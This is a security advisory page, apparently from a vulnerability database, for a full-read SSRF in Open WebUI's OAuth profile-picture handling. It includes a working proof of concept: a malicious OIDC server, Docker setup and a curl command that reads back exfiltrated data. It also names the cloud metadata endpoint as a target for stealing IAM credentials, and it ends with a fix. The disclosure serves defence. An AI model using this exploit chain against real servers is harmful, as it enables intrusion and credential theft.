Alta

Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)

  • Publicada: 14.05.2026
  • Actualizado: 11.10.2026 14:18

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.

Vulnerable Code

python
# backend/open_webui/utils/oauth.py, line ~1337-1345
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    # No validate_url() call here
    async with aiohttp.ClientSession(trust_env=True) as session:
        async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
            if resp.ok:
                picture = await resp.read()
                base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
                return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'

The codebase already uses validate_url() for the same SSRF protection pattern in other paths:

  • backend/open_webui/utils/files.py:38 - validate_url(url) before requests.get(url)
  • backend/open_webui/routers/images.py:800 - validate_url(data) before requests.get(data)

The omission in _process_picture_url() is inconsistent with the project's own security practices.

Affected Code Paths

  1. New user OAuth signup (line ~1556): picture_url = await self._process_picture_url(picture_url, token.get('access_token'))
  2. Existing user picture update on login (line ~1536): when OAUTH_UPDATE_PICTURE_ON_LOGIN=true

Steps to Reproduce

Prerequisites

  • Open WebUI instance with generic OIDC OAuth configured
  • ENABLE_OAUTH_SIGNUP=true

Setup

1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint:

python
"""Minimal OIDC PoC server - save as poc_oidc.py"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse

SSRF_TARGET = "http://host.docker.internal:9000/canary"
CANARY = "SSRF_CONFIRMED_OPEN_WEBUI"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = urllib.parse.urlparse(self.path).path
        query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
        if path == "/.well-known/openid-configuration":
            self._json({"issuer":"http://host.docker.internal:9000",
                "authorization_endpoint":"http://localhost:9000/authorize",
                "token_endpoint":"http://host.docker.internal:9000/token",
                "userinfo_endpoint":"http://host.docker.internal:9000/userinfo",
                "jwks_uri":"http://host.docker.internal:9000/jwks",
                "response_types_supported":["code"],"subject_types_supported":["public"],
                "id_token_signing_alg_values_supported":["RS256"],
                "token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]})
        elif path == "/authorize":
            ru = query.get("redirect_uri",[""])[0]
            st = query.get("state",[""])[0]
            self.send_response(302)
            self.send_header("Location", f"{ru}?code=poc-code&state={st}")
            self.end_headers()
        elif path == "/userinfo":
            self._json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET})
        elif path == "/jwks":
            self._json({"keys":[]})
        elif path == "/canary":
            self.send_response(200)
            self.send_header("Content-Type","text/plain")
            body = CANARY.encode()
            self.send_header("Content-Length",len(body))
            self.end_headers()
            self.wfile.write(body)
            print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!")
        else:
            self.send_response(404); self.end_headers()
    def do_POST(self):
        if "/token" in self.path:
            self._json({"access_token":"tok","token_type":"bearer","expires_in":3600,
                "userinfo":{"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}})
    def _json(self, d):
        b = json.dumps(d).encode()
        self.send_response(200)
        self.send_header("Content-Type","application/json")
        self.send_header("Content-Length",len(b))
        self.end_headers()
        self.wfile.write(b)

HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()

2. Run the PoC server:

bash
python3 poc_oidc.py

3. Start Open WebUI with Docker:

bash
docker run -d -p 3000:8080 \
  --name owui-ssrf-test \
  --add-host=host.docker.internal:host-gateway \
  -e ENABLE_OAUTH_SIGNUP=true \
  -e WEBUI_AUTH=true \
  -e OAUTH_CLIENT_ID=test-client \
  -e OAUTH_CLIENT_SECRET=test-secret \
  -e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \
  -e OAUTH_PROVIDER_NAME=TestOIDC \
  -e "OAUTH_SCOPES=openid email profile" \
  ghcr.io/open-webui/open-webui:main

4. Create an admin account at http://localhost:3000, then sign out.

5. Click "Continue with TestOIDC" on the login page.

6. Observe the PoC server terminal - it prints !!! CANARY FETCHED - SSRF CONFIRMED !!!

7. Verify exfiltrated data is stored and readable:

bash
curl -s http://localhost:3000/api/v1/auths/ \
  -H "Authorization: Bearer <session-token>" | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
url = data.get('profile_image_url', '')
if 'base64,' in url:
    decoded = base64.b64decode(url.split('base64,',1)[1]).decode()
    print(f'DECODED: {decoded}')
"

Result: DECODED: SSRF_CONFIRMED_OPEN_WEBUI

The server fetched the attacker-controlled URL, base64-encoded the response, stored it as profile_image_url, and the attacker can read it back via the API.

Impact

An attacker can force the Open WebUI server to make HTTP requests to:

  • Cloud metadata endpoints (AWS IMDSv1 at http://169.254.169.254/latest/meta-data/iam/security-credentials/) to steal IAM credentials
  • Internal network services not exposed to the internet
  • Localhost-bound services (Redis, Elasticsearch, internal APIs)

This is a full-read SSRF: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded profile_image_url field.

Configuration Note

This vulnerability requires ENABLE_OAUTH_SIGNUP=true (for the new-user path) or OAUTH_UPDATE_PICTURE_ON_LOGIN=true (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.

Suggested Fix

Apply validate_url() before fetching, consistent with existing patterns in the codebase:

python
from open_webui.retrieval.web.utils import validate_url

async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    if not picture_url:
        return '/user.png'
    try:
        validate_url(picture_url)  # Add this line
        # ... rest unchanged

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) open-webui < 0.9.0 0.9.0

Referencias

Puntuación CVSS 7.7/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Debilidad (CWE)
CWE-918
Plataforma
Python (PyPI)
Paquete
open-webui
Publicada
14.05.2026
Actualizado
11.10.2026 14:18

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-2691 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-24c9-2m8q-qhmh - CC BY 4.0

Historial de vulnerabilidades: open-webui

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (161) en el archivo
Entradas en total
161
Primera → última
08.2024 09.2026
Sin corrección
11
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 77
  • Media 75
  • Baja 8

Divulgaciones por año

  1. 2024: 3
  2. 2025: 21
  3. 2026: 137
Gravedad:
  1. Alta · 7.7 CVE-2026-59221 >= 0.9.6, < 0.10.0 0.10.0
  2. Alta · 7.3 CVE-2026-59214 < 0.10.0 0.10.0
  3. Alta · 8.7 CVE-2026-54011 < 0.9.6 0.9.6
  4. Alta · 7.1 CVE-2026-45349 < 0.9.0 0.9.0
  5. Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py) esta entrada
    Alta · 7.7 CVE-2026-45338 < 0.9.0 0.9.0
  6. Alta · 7.7 CVE-2026-45303 < 0.6.5 0.6.5
  7. Alta · 7.1 CVE-2026-44569 < 0.6.19 0.6.19
  8. Alta · 8.1 CVE-2026-44565 < 0.6.10 0.6.10
  9. Alta · 7.3 CVE-2026-44566 < 0.1.124 0.1.124
  10. Alta · 7.3 CVE-2026-44567 < 0.1.124 0.1.124
  11. Alta · 7.3 CVE-2026-44549 < 0.8.0 0.8.0
  12. Crítica · 9.1 CVE-2026-44551 < 0.9.0 0.9.0
  13. Alta · 7.3 CVE-2026-44721 < 0.9.0 0.9.0
  14. Alta · 7.7 CVE-2026-34222 < 0.8.11 0.8.11
  15. Alta · 7.5 ghsa-5ccf-884p-4jjq <= 0.3.21 sin corrección
  16. Alta · 8.4 CVE-2024-7990 <= 0.3.8 sin corrección
  17. Alta · 8.0 CVE-2024-7806 < 0.3.33 0.3.33
  18. Alta · 7.6 CVE-2024-7053 <= 0.3.8 sin corrección
  19. Alta · 8.1 CVE-2024-7043 < 0.3.16 0.3.16
  20. Alta · 7.5 CVE-2024-7036 <= 0.3.8 sin corrección
  21. Alta · 7.5 ghsa-w466-2wfc-8g58 <= 0.3.32 sin corrección
  22. Alta · 7.5 CVE-2024-12534 <= 0.3.32 sin corrección
  23. Alta · 7.5 CVE-2024-12537 <= 0.3.32 sin corrección

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.